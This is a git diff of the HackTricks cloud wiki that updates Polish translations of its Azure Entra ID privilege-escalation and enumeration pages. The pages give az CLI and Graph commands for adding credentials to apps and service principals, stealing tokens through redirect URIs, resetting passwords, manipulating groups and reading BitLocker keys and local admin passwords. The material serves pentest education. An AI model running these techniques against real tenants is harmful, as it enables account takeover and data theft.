mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
@@ -3,15 +3,15 @@
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Należy pamiętać, że **nie wszystkie szczegółowe uprawnienia**, które posiadają role wbudowane w Entra ID, **kwalifikują się do użycia w rolach niestandardowych.**
|
||||
> Zwróć uwagę, że **nie wszystkie szczegółowe uprawnienia** jakie wbudowane role mają w Entra ID **kwalifikują się do użycia w rolach niestandardowych.**
|
||||
|
||||
## Role
|
||||
|
||||
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
|
||||
### Rola: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
|
||||
|
||||
Ta rola zawiera niezbędne szczegółowe uprawnienia pozwalające przypisywać role podmiotom oraz nadawać dodatkowe uprawnienia rolom. Obie czynności mogą zostać nadużyte w celu eskalacji uprawnień.
|
||||
Ta rola zawiera niezbędne szczegółowe uprawnienia umożliwiające przypisywanie ról podmiotom (principals) oraz nadawanie rolom dodatkowych uprawnień. Obie akcje mogą zostać nadużyte do eskalacji uprawnień.
|
||||
|
||||
- Przypisanie roli użytkownikowi:
|
||||
- Przypisz rolę użytkownikowi:
|
||||
```bash
|
||||
# List enabled built-in roles
|
||||
az rest --method GET \
|
||||
@@ -52,7 +52,7 @@ az rest --method PATCH \
|
||||
|
||||
### `microsoft.directory/applications/credentials/update`
|
||||
|
||||
To pozwala atakującemu **dodać poświadczenia** (hasła lub certyfikaty) do istniejących aplikacji. Jeśli aplikacja ma uprzywilejowane uprawnienia, atakujący może uwierzytelnić się jako ta aplikacja i uzyskać te uprawnienia.
|
||||
Umożliwia atakującemu **dodanie poświadczeń** (haseł lub certyfikatów) do istniejących aplikacji. Jeśli aplikacja ma uprzywilejowane uprawnienia, atakujący może uwierzytelnić się jako ta aplikacja i uzyskać te uprawnienia.
|
||||
```bash
|
||||
# Generate a new password without overwritting old ones
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -61,13 +61,13 @@ az ad app credential reset --id <appId> --create-cert
|
||||
```
|
||||
### `microsoft.directory/applications.myOrganization/credentials/update`
|
||||
|
||||
Pozwala na wykonywanie tych samych akcji co `applications/credentials/update`, ale ograniczone do aplikacji w pojedynczym katalogu.
|
||||
To pozwala na te same działania co `applications/credentials/update`, ale ograniczone do aplikacji należących do pojedynczego katalogu.
|
||||
```bash
|
||||
az ad app credential reset --id <appId> --append
|
||||
```
|
||||
### `microsoft.directory/applications/owners/update`
|
||||
|
||||
Dodając siebie jako właściciela, atakujący może manipulować aplikacją, w tym poświadczeniami i uprawnieniami.
|
||||
Dodając siebie jako właściciela, atakujący może manipulować aplikacją, w tym jej poświadczeniami i uprawnieniami.
|
||||
```bash
|
||||
az ad app owner add --id <AppId> --owner-object-id <UserId>
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -77,9 +77,9 @@ az ad app owner list --id <appId>
|
||||
```
|
||||
### `microsoft.directory/applications/allProperties/update`
|
||||
|
||||
Atakujący może dodać redirect URI do aplikacji używanych przez użytkowników tenanta, a następnie udostępnić im login URLs wykorzystujące nowy redirect URL, aby przechwycić ich tokens. Zwróć uwagę, że jeśli user był już zalogowany w application, authentication będzie automatyczne i user nie będzie musiał nic akceptować.
|
||||
Atakujący może dodać redirect URI do aplikacji używanych przez użytkowników tenanta, a następnie udostępnić im login URLs korzystające z nowego redirect URI, aby wykradać ich tokens. Zauważ, że jeśli użytkownik był już zalogowany do aplikacji, uwierzytelnienie będzie odbywać się automatycznie i użytkownik nie będzie musiał niczego akceptować.
|
||||
|
||||
Zwróć uwagę, że możliwe jest również zmodyfikowanie permissions, których żąda application, aby uzyskać więcej permissions, jednak w takim przypadku user będzie musiał ponownie zaakceptować prompt żądający wszystkich permissions.
|
||||
Zauważ też, że możliwe jest zmienienie permissions, o które aplikacja prosi, aby uzyskać więcej uprawnień, ale w takim przypadku użytkownik będzie musiał ponownie zaakceptować monit proszący o wszystkie permissions.
|
||||
```bash
|
||||
# Get current redirect uris
|
||||
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
|
||||
@@ -88,11 +88,11 @@ az ad app update --id <app-id> --web-redirect-uris "https://original.com/callbac
|
||||
```
|
||||
### Eskalacja uprawnień aplikacji
|
||||
|
||||
**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** często spotykało się domyślne aplikacje, którym przypisano **API permissions** typu **`Application`**. API Permission (jak to nazywa konsola Entra ID) typu **`Application`** oznacza, że aplikacja może uzyskać dostęp do API i wykonywać akcje bez kontekstu użytkownika (bez logowania użytkownika do aplikacji) oraz bez konieczności posiadania ról Entra ID. Dlatego bardzo często można znaleźć **aplikacje o wysokich uprawnieniach w każdym tenancie Entra ID**.
|
||||
**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** często można było znaleźć domyślne aplikacje, które mają przypisane **API permissions** typu **`Application`**. API Permission (jak nazywa się to w konsoli Entra ID) typu **`Application`** oznacza, że aplikacja może uzyskiwać dostęp do API i wykonywać operacje bez kontekstu użytkownika (bez logowania użytkownika do aplikacji) oraz bez potrzeby posiadania ról Entra ID. W związku z tym bardzo często można znaleźć **wysoko uprzywilejowane aplikacje w każdym Entra ID tenant**.
|
||||
|
||||
Wówczas, jeśli atakujący ma jakiekolwiek uprawnienie/rolę umożliwiającą **update the credentials (secret o certificate) of the application**, może wygenerować nowe credential i użyć go do **authenticate as the application**, uzyskując wszystkie uprawnienia, które posiada aplikacja.
|
||||
Jeżeli atakujący ma jakiekolwiek uprawnienie/rolę pozwalającą na **update the credentials (secret o certificate) of the application**, może wygenerować nowe poświadczenie, a następnie użyć go do **authenticate as the application**, uzyskując wszystkie uprawnienia, które posiada aplikacja.
|
||||
|
||||
Zauważ, że wspomniany blog udostępniał pewne **API permissions** typowych domyślnych aplikacji Microsoft; jednak jakiś czas po tej publikacji Microsoft naprawił ten problem i teraz nie jest już możliwe zalogowanie się jako aplikacje Microsoft. Mimo to wciąż można znaleźć **aplikacje niestandardowe o dużych uprawnieniach, które można wykorzystać**.
|
||||
Zauważ, że wspomniany blog udostępniał niektóre **API permissions** popularnych domyślnych aplikacji Microsoft, jednak jakiś czas po tym raporcie Microsoft naprawił ten problem i teraz nie jest już możliwe logowanie się jako aplikacje Microsoft. Niemniej jednak wciąż można znaleźć **custom applications with high privileges that could be abused**.
|
||||
|
||||
How to enumerate the API permissions of an application:
|
||||
```bash
|
||||
@@ -125,7 +125,7 @@ az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
|
||||
```
|
||||
<details>
|
||||
<summary>Znajdź wszystkie aplikacje, które mają uprawnienia API do API innych niż Microsoft (az cli)</summary>
|
||||
<summary>Znajdź wszystkie uprawnienia API aplikacji i oznacz API należące do Microsoft</summary>
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
@@ -147,6 +147,32 @@ done
|
||||
return 1
|
||||
}
|
||||
|
||||
get_permission_value() {
|
||||
local resource_app_id="$1"
|
||||
local perm_type="$2"
|
||||
local perm_id="$3"
|
||||
local key value
|
||||
key="${resource_app_id}|${perm_type}|${perm_id}"
|
||||
|
||||
value="$(awk -F '\t' -v k="$key" '$1==k {print $2; exit}' "$tmp_perm_cache")"
|
||||
if [ -n "$value" ]; then
|
||||
printf '%s\n' "$value"
|
||||
return 0
|
||||
fi
|
||||
|
||||
if [ "$perm_type" = "Scope" ]; then
|
||||
value="$(az ad sp show --id "$resource_app_id" --query "oauth2PermissionScopes[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
|
||||
elif [ "$perm_type" = "Role" ]; then
|
||||
value="$(az ad sp show --id "$resource_app_id" --query "appRoles[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
|
||||
else
|
||||
value=""
|
||||
fi
|
||||
|
||||
[ -n "$value" ] || value="UNKNOWN"
|
||||
printf '%s\t%s\n' "$key" "$value" >> "$tmp_perm_cache"
|
||||
printf '%s\n' "$value"
|
||||
}
|
||||
|
||||
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
|
||||
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
|
||||
az account show >/dev/null
|
||||
@@ -155,7 +181,8 @@ apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0
|
||||
|
||||
tmp_map="$(mktemp)"
|
||||
tmp_ids="$(mktemp)"
|
||||
trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
|
||||
tmp_perm_cache="$(mktemp)"
|
||||
trap 'rm -f "$tmp_map" "$tmp_ids" "$tmp_perm_cache"' EXIT
|
||||
|
||||
# Build unique resourceAppId values used by applications.
|
||||
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
|
||||
@@ -169,9 +196,9 @@ name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
|
||||
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
|
||||
done < "$tmp_ids"
|
||||
|
||||
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
|
||||
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions"
|
||||
|
||||
# Print only app permissions where the target API is NOT Microsoft-owned.
|
||||
# Print all app API permissions and mark if the target API is Microsoft-owned.
|
||||
while IFS= read -r row; do
|
||||
app_name="$(jq -r '.[0]' <<<"$row")"
|
||||
app_id="$(jq -r '.[1]' <<<"$row")"
|
||||
@@ -186,14 +213,25 @@ resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
|
||||
[ -n "$resource_name" ] || resource_name="UNKNOWN"
|
||||
|
||||
if is_microsoft_owner "$owner_org"; then
|
||||
continue
|
||||
is_ms="true"
|
||||
else
|
||||
is_ms="false"
|
||||
fi
|
||||
|
||||
permissions_csv=""
|
||||
while IFS= read -r access; do
|
||||
perm_type="$(jq -r '.type' <<<"$access")"
|
||||
perm_id="$(jq -r '.id' <<<"$access")"
|
||||
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
|
||||
perm_value="$(get_permission_value "$resource_app_id" "$perm_type" "$perm_id")"
|
||||
perm_label="${perm_type}:${perm_value}"
|
||||
if [ -z "$permissions_csv" ]; then
|
||||
permissions_csv="$perm_label"
|
||||
else
|
||||
permissions_csv="${permissions_csv},${perm_label}"
|
||||
fi
|
||||
done < <(jq -c '.resourceAccess[]' <<<"$rra")
|
||||
|
||||
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}"
|
||||
done < <(jq -c '.[2][]' <<<"$row")
|
||||
done < <(jq -c '.[]' <<<"$apps_json")
|
||||
```
|
||||
@@ -203,27 +241,27 @@ done < <(jq -c '.[]' <<<"$apps_json")
|
||||
|
||||
### `microsoft.directory/servicePrincipals/credentials/update`
|
||||
|
||||
Pozwala to atakującemu dodać poświadczenia do istniejących service principals. Jeśli dany service principal ma podwyższone uprawnienia, atakujący może przejąć te uprawnienia.
|
||||
Pozwala to atakującemu dodać poświadczenia do istniejących service principals. Jeśli service principal ma podwyższone uprawnienia, atakujący może przejąć te uprawnienia.
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Nowo wygenerowane hasło nie pojawi się w konsoli webowej, więc może to być stealth sposób na utrzymanie persistence dla service principal.\
|
||||
> Nowo wygenerowane hasło nie pojawi się w konsoli webowej, więc może to być ukryty sposób na utrzymanie persistence dla service principal.\
|
||||
> Z API można je znaleźć za pomocą: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
|
||||
If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` it's because **nie jest możliwe zmodyfikowanie właściwości passwordCredentials** SP i najpierw musisz go odblokować. Do tego potrzebujesz uprawnienia (`microsoft.directory/applications/allProperties/update`) które pozwala wykonać:
|
||||
If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` it's because **nie można modyfikować właściwości passwordCredentials** SP i najpierw trzeba ją odblokować. Do tego potrzebne jest uprawnienie (`microsoft.directory/applications/allProperties/update`), które pozwala na wykonanie:
|
||||
```bash
|
||||
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
|
||||
```
|
||||
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
|
||||
|
||||
To pozwala atakującemu dodać credentials do istniejących service principals. Jeśli service principal ma podwyższone uprawnienia, atakujący może przejąć te uprawnienia.
|
||||
Pozwala atakującemu dodać poświadczenia do istniejących service principals. Jeśli service principal ma podwyższone uprawnienia, atakujący może przejąć te uprawnienia.
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
### `microsoft.directory/servicePrincipals/owners/update`
|
||||
|
||||
Podobnie jak w przypadku applications, to uprawnienie pozwala dodać więcej właścicieli do service principal. Posiadanie service principal pozwala kontrolować jego poświadczenia i uprawnienia.
|
||||
Podobnie jak w przypadku aplikacji, to uprawnienie pozwala dodać więcej właścicieli do service principal. Posiadanie service principal umożliwia kontrolę nad jego poświadczeniami i uprawnieniami.
|
||||
```bash
|
||||
# Add new owner
|
||||
spId="<spId>"
|
||||
@@ -241,13 +279,13 @@ az ad sp credential reset --id <sp-id> --append
|
||||
az ad sp owner list --id <spId>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Po dodaniu nowego właściciela próbowałem go usunąć, ale API odpowiedziało, że metoda DELETE nie jest obsługiwana, nawet jeśli to metoda, której trzeba użyć, aby usunąć właściciela. Tak więc **obecnie nie można usuwać właścicieli**.
|
||||
> Po dodaniu nowego właściciela próbowałem go usunąć, ale API odpowiedziało, że metoda DELETE nie była obsługiwana, nawet jeśli to właśnie tej metody trzeba użyć, aby usunąć właściciela. Więc **obecnie nie można usuwać właścicieli**.
|
||||
|
||||
### `microsoft.directory/servicePrincipals/disable` and `enable`
|
||||
### `microsoft.directory/servicePrincipals/disable` i `enable`
|
||||
|
||||
Te uprawnienia pozwalają wyłączać i włączać service principals. Atakujący mógłby użyć tych uprawnień, aby włączyć service principala, do którego w jakiś sposób uzyska dostęp, w celu eskalacji uprawnień.
|
||||
Te uprawnienia pozwalają wyłączyć i włączyć service principals. Attacker mógłby użyć tych uprawnień, aby włączyć service principal, do którego w jakiś sposób uzyska dostęp, żeby escalate privileges.
|
||||
|
||||
Zwróć uwagę, że do tej techniki atakujący będzie potrzebował dodatkowych uprawnień, aby przejąć włączonego service principala.
|
||||
Zauważ, że dla tej techniki attacker będzie potrzebował więcej uprawnień, aby przejąć włączonego service principal.
|
||||
```bash
|
||||
# Disable
|
||||
az ad sp update --id <ServicePrincipalId> --account-enabled false
|
||||
@@ -257,7 +295,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
|
||||
```
|
||||
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
|
||||
|
||||
Te uprawnienia pozwalają na tworzenie i pobieranie poświadczeń dla single sign-on, co może umożliwić dostęp do aplikacji stron trzecich.
|
||||
Te uprawnienia pozwalają tworzyć i pobierać poświadczenia do logowania jednokrotnego (SSO), co może umożliwić dostęp do aplikacji stron trzecich.
|
||||
```bash
|
||||
# Generate SSO creds for a user or a group
|
||||
spID="<spId>"
|
||||
@@ -283,30 +321,30 @@ az rest --method POST \
|
||||
|
||||
### `microsoft.directory/groups/allProperties/update`
|
||||
|
||||
To uprawnienie pozwala na dodawanie użytkowników do grup uprzywilejowanych, co prowadzi do eskalacji uprawnień.
|
||||
To uprawnienie umożliwia dodawanie użytkowników do privileged groups, co może prowadzić do privilege escalation.
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
**Uwaga**: To uprawnienie nie obejmuje role-assignable groups w Entra ID.
|
||||
**Uwaga**: To uprawnienie nie obejmuje grup przypisywalnych do ról Entra ID.
|
||||
|
||||
### `microsoft.directory/groups/owners/update`
|
||||
|
||||
To uprawnienie pozwala zostać właścicielem grup. Właściciel grupy może kontrolować członkostwo i ustawienia grupy, co potencjalnie może prowadzić do eskalacji uprawnień względem grupy.
|
||||
To uprawnienie pozwala zostać właścicielem grup. Właściciel grupy może kontrolować członkostwo i ustawienia grupy, co potencjalnie umożliwia eskalację uprawnień względem grupy.
|
||||
```bash
|
||||
az ad group owner add --group <GroupName> --owner-object-id <UserId>
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
**Note**: To uprawnienie nie obejmuje Entra ID role-assignable groups.
|
||||
**Uwaga**: To uprawnienie wyłącza Entra ID role-assignable groups.
|
||||
|
||||
### `microsoft.directory/groups/members/update`
|
||||
|
||||
To uprawnienie pozwala na dodawanie członków do grupy. Atakujący może dodać siebie lub złośliwe konta do uprzywilejowanych grup, co może skutkować uzyskaniem podwyższonych uprawnień.
|
||||
To uprawnienie pozwala dodawać członków do grupy. Atakujący może dodać siebie lub złośliwe konta do uprzywilejowanych grup, co może zapewnić podwyższone uprawnienia.
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
### `microsoft.directory/groups/dynamicMembershipRule/update`
|
||||
|
||||
To uprawnienie pozwala na aktualizację reguły członkostwa w grupie dynamicznej. Atakujący mógłby zmodyfikować reguły dynamiczne, aby uwzględnić siebie w grupach uprzywilejowanych bez konieczności jawnego dodania.
|
||||
To uprawnienie pozwala na aktualizację reguły członkostwa w grupie dynamicznej. Attacker może zmodyfikować reguły dynamiczne, aby włączyć siebie do grup uprzywilejowanych bez jawnego dodawania.
|
||||
```bash
|
||||
groupId="<group-id>"
|
||||
az rest --method PATCH \
|
||||
@@ -317,11 +355,11 @@ az rest --method PATCH \
|
||||
"membershipRuleProcessingState": "On"
|
||||
}'
|
||||
```
|
||||
**Uwaga**: To uprawnienie nie obejmuje Entra ID role-assignable groups.
|
||||
**Uwaga**: To uprawnienie nie obejmuje grup Entra ID przypisywalnych do ról.
|
||||
|
||||
### Dynamic Groups Privesc
|
||||
|
||||
Może być możliwe, że użytkownicy eskalują uprawnienia, modyfikując swoje własne właściwości, aby zostać dodanymi jako członkowie dynamic groups. Więcej informacji znajdziesz:
|
||||
Użytkownicy mogą potencjalnie eskalować uprawnienia, modyfikując własne właściwości, aby zostać dodanymi jako członkowie grup dynamicznych. Więcej informacji:
|
||||
|
||||
{{#ref}}
|
||||
dynamic-groups.md
|
||||
@@ -331,13 +369,13 @@ dynamic-groups.md
|
||||
|
||||
### `microsoft.directory/users/password/update`
|
||||
|
||||
To uprawnienie pozwala na resetowanie haseł użytkowników niebędących administratorami, umożliwiając potencjalnemu atakującemu eskalację uprawnień do innych użytkowników. To uprawnienie nie może być przypisane do ról niestandardowych.
|
||||
To uprawnienie pozwala na zresetowanie hasła użytkowników niebędących administratorami, co umożliwia potencjalnemu atakującemu eskalację uprawnień do innych użytkowników. To uprawnienie nie może być przypisane do ról niestandardowych.
|
||||
```bash
|
||||
az ad user update --id <user-id> --password "kweoifuh.234"
|
||||
```
|
||||
### `microsoft.directory/users/basic/update`
|
||||
|
||||
Ten przywilej pozwala modyfikować właściwości użytkownika. Często spotyka się grupy dynamiczne, które dodają użytkowników na podstawie wartości właściwości; dlatego to uprawnienie może umożliwić użytkownikowi ustawienie wymaganej wartości właściwości, aby zostać członkiem konkretnej grupy dynamicznej i eskalować uprawnienia.
|
||||
To uprawnienie pozwala modyfikować właściwości użytkownika. Często występują dynamiczne grupy, które dodają użytkowników na podstawie wartości właściwości. W związku z tym to uprawnienie może pozwolić użytkownikowi ustawić wymaganą wartość właściwości, by zostać członkiem określonej dynamicznej grupy i w ten sposób eskalować uprawnienia.
|
||||
```bash
|
||||
#e.g. change manager of a user
|
||||
victimUser="<userID>"
|
||||
@@ -353,9 +391,9 @@ az rest --method PATCH \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"department\": \"security\"}"
|
||||
```
|
||||
## Polityki dostępu warunkowego & obejście MFA
|
||||
## Conditional Access Policies & MFA bypass
|
||||
|
||||
Nieprawidłowo skonfigurowane polityki dostępu warunkowego wymuszające MFA można obejść — sprawdź:
|
||||
Błędnie skonfigurowane conditional access policies wymuszające MFA można obejść — sprawdź:
|
||||
|
||||
{{#ref}}
|
||||
az-conditional-access-policies-mfa-bypass.md
|
||||
@@ -365,7 +403,7 @@ az-conditional-access-policies-mfa-bypass.md
|
||||
|
||||
### `microsoft.directory/devices/registeredOwners/update`
|
||||
|
||||
To uprawnienie pozwala atakującym przypisać sobie status właściciela urządzenia, by przejąć kontrolę lub uzyskać dostęp do ustawień i danych specyficznych dla tego urządzenia.
|
||||
To uprawnienie pozwala atakującym nadać sobie status właściciela urządzeń, aby uzyskać kontrolę lub dostęp do ustawień i danych specyficznych dla urządzenia.
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
@@ -376,7 +414,7 @@ az rest --method POST \
|
||||
```
|
||||
### `microsoft.directory/devices/registeredUsers/update`
|
||||
|
||||
To uprawnienie pozwala atakującym powiązać swoje konto z urządzeniami, aby uzyskać dostęp lub obejść polityki bezpieczeństwa.
|
||||
To uprawnienie pozwala attackers powiązać swoje konto z urządzeniami, aby uzyskać dostęp lub obejść polityki bezpieczeństwa.
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
@@ -387,7 +425,7 @@ az rest --method POST \
|
||||
```
|
||||
### `microsoft.directory/deviceLocalCredentials/password/read`
|
||||
|
||||
To uprawnienie pozwala atakującym odczytać właściwości zarchiwizowanych danych uwierzytelniających konta lokalnego administratora urządzeń dołączonych do Microsoft Entra, w tym hasło.
|
||||
To uprawnienie pozwala atakującym na odczyt właściwości zarchiwizowanych poświadczeń konta lokalnego administratora dla urządzeń dołączonych do Microsoft Entra, w tym hasła.
|
||||
```bash
|
||||
# List deviceLocalCredentials
|
||||
az rest --method GET \
|
||||
@@ -402,7 +440,7 @@ az rest --method GET \
|
||||
|
||||
### `microsoft.directory/bitlockerKeys/key/read`
|
||||
|
||||
To uprawnienie umożliwia dostęp do kluczy BitLocker, co może pozwolić atakującemu na odszyfrowanie dysków i naruszenie poufności danych.
|
||||
To uprawnienie pozwala na dostęp do kluczy BitLocker, co może umożliwić atakującemu odszyfrowanie dysków, narażając poufność danych.
|
||||
```bash
|
||||
# List recovery keys
|
||||
az rest --method GET \
|
||||
@@ -413,7 +451,7 @@ recoveryKeyId="<recoveryKeyId>"
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
|
||||
```
|
||||
## Inne interesujące permissions (TODO)
|
||||
## Inne interesujące uprawnienia (TODO)
|
||||
|
||||
- `microsoft.directory/applications/permissions/update`
|
||||
- `microsoft.directory/servicePrincipals/permissions/update`
|
||||
|
||||
@@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Podstawowe informacje
|
||||
|
||||
Azure Active Directory (Azure AD) pełni rolę usługi Microsoftu w chmurze odpowiedzialnej za zarządzanie tożsamością i dostępem. Umożliwia pracownikom logowanie się i uzyskiwanie dostępu do zasobów zarówno wewnątrz, jak i poza organizacją, obejmując Microsoft 365, the Azure portal oraz wiele innych aplikacji SaaS. Projekt Azure AD koncentruje się na dostarczaniu podstawowych usług tożsamości, w tym przede wszystkim **authentication, authorization, and user management**.
|
||||
Azure Active Directory (Azure AD) jest usługą Microsoftu opartą na chmurze służącą do zarządzania tożsamością i dostępem. Umożliwia pracownikom logowanie się i uzyskiwanie dostępu do zasobów zarówno w obrębie organizacji, jak i poza nią, obejmując Microsoft 365, Azure portal oraz wiele innych aplikacji SaaS. Projekt Azure AD koncentruje się na dostarczaniu podstawowych usług tożsamości, w tym przede wszystkim **uwierzytelniania, autoryzacji i zarządzania użytkownikami**.
|
||||
|
||||
Kluczowe funkcje Azure AD obejmują **multi-factor authentication** i **conditional access**, a także bezproblemową integrację z innymi usługami zabezpieczeń Microsoft. Funkcje te znacząco podnoszą bezpieczeństwo tożsamości użytkowników i pozwalają organizacjom skutecznie wdrażać i egzekwować polityki dostępu. Jako podstawowy element ekosystemu usług chmurowych Microsoft, Azure AD ma kluczowe znaczenie dla zarządzania tożsamościami w chmurze.
|
||||
Kluczowe funkcje Azure AD obejmują **uwierzytelnianie wieloskładnikowe** i **dostęp warunkowy**, a także bezproblemową integrację z innymi usługami bezpieczeństwa Microsoftu. Funkcje te znacząco podnoszą bezpieczeństwo tożsamości użytkowników i umożliwiają organizacjom skuteczne wdrażanie oraz egzekwowanie polityk dostępu. Jako podstawowy element ekosystemu usług chmurowych Microsoftu, Azure AD odgrywa kluczową rolę w zarządzaniu tożsamościami w chmurze.
|
||||
|
||||
## Enumeration
|
||||
## Enumeracja
|
||||
|
||||
### **Connection**
|
||||
### **Połączenie**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -185,11 +185,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Kiedy się **logujesz** przez **CLI** do Azure za pomocą dowolnego programu, używasz **Azure Application** z **tenant**, który należy do **Microsoft**. Te Applications, podobnie jak te, które możesz utworzyć na swoim koncie, **mają client id**. **Nie będziesz w stanie zobaczyć wszystkich** z nich na **allowed applications lists**, które widzisz w konsoli, **ale są domyślnie dozwolone**.
|
||||
Kiedy **login** przez **CLI** do **Azure** za pomocą dowolnego programu, używasz **Azure Application** z **tenant** należącego do **Microsoft**. Te **Applications**, podobnie jak te, które możesz utworzyć w swoim koncie, **have a client id**. Nie zobaczysz ich wszystkich na **allowed applications lists**, które widzisz w konsoli, **but they are allowed by default**.
|
||||
|
||||
Na przykład **powershell script**, który **uwierzytelnia się**, używa aplikacji z client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Nawet jeśli aplikacja nie pojawia się w konsoli, sysadmin może **zablokować tę aplikację**, aby użytkownicy nie mogli uzyskać dostępu przy użyciu narzędzi, które łączą się przez tę App.
|
||||
Na przykład **powershell script**, który **authenticates**, używa aplikacji z client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Nawet jeśli aplikacja nie pojawia się w konsoli, sysadmin może **block that application**, aby użytkownicy nie mogli uzyskać dostępu za pomocą narzędzi, które łączą się przez tę App.
|
||||
|
||||
Jednak istnieją **inne client-ids** aplikacji, które **pozwolą ci połączyć się z Azure**:
|
||||
Jednak istnieją **other client-ids** aplikacji, które **will allow you to connect to Azure**:
|
||||
```bash
|
||||
# The important part is the ClientId, which identifies the application to login inside Azure
|
||||
|
||||
@@ -227,7 +227,7 @@ az account tenant list
|
||||
|
||||
### Użytkownicy
|
||||
|
||||
Aby uzyskać więcej informacji o użytkownikach Entra ID, zobacz:
|
||||
Więcej informacji o użytkownikach Entra ID znajdziesz tutaj:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -364,9 +364,9 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
|
||||
|
||||
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose
|
||||
```
|
||||
### MFA i polityki Conditional Access
|
||||
### MFA & Conditional Access Policies
|
||||
|
||||
Zaleca się dodanie MFA dla każdego użytkownika, jednak niektóre firmy tego nie włączą lub mogą ustawić je w Conditional Access: MFA będzie **wymagane, jeśli** użytkownik zaloguje się z określonej lokalizacji, przeglądarki lub **pewnego warunku**. Te polityki, jeśli nie są poprawnie skonfigurowane, mogą być podatne na **obejścia**. Sprawdź:
|
||||
Zaleca się dodanie MFA dla każdego użytkownika, jednak niektóre firmy nie włączają go lub konfigurują poprzez Conditional Access: użytkownik będzie **zobowiązany do użycia MFA, jeśli** zaloguje się z określonej lokalizacji, przeglądarki lub **innego warunku**. Te polityki, jeśli nie są poprawnie skonfigurowane, mogą być podatne na **bypasses**. Sprawdź:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
||||
@@ -374,7 +374,7 @@ Zaleca się dodanie MFA dla każdego użytkownika, jednak niektóre firmy tego n
|
||||
|
||||
### Grupy
|
||||
|
||||
Więcej informacji o grupach Entra ID znajdziesz:
|
||||
Aby uzyskać więcej informacji o grupach Entra ID sprawdź:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -488,8 +488,8 @@ Właściciele grupy mogą dodawać nowych użytkowników do grupy.
|
||||
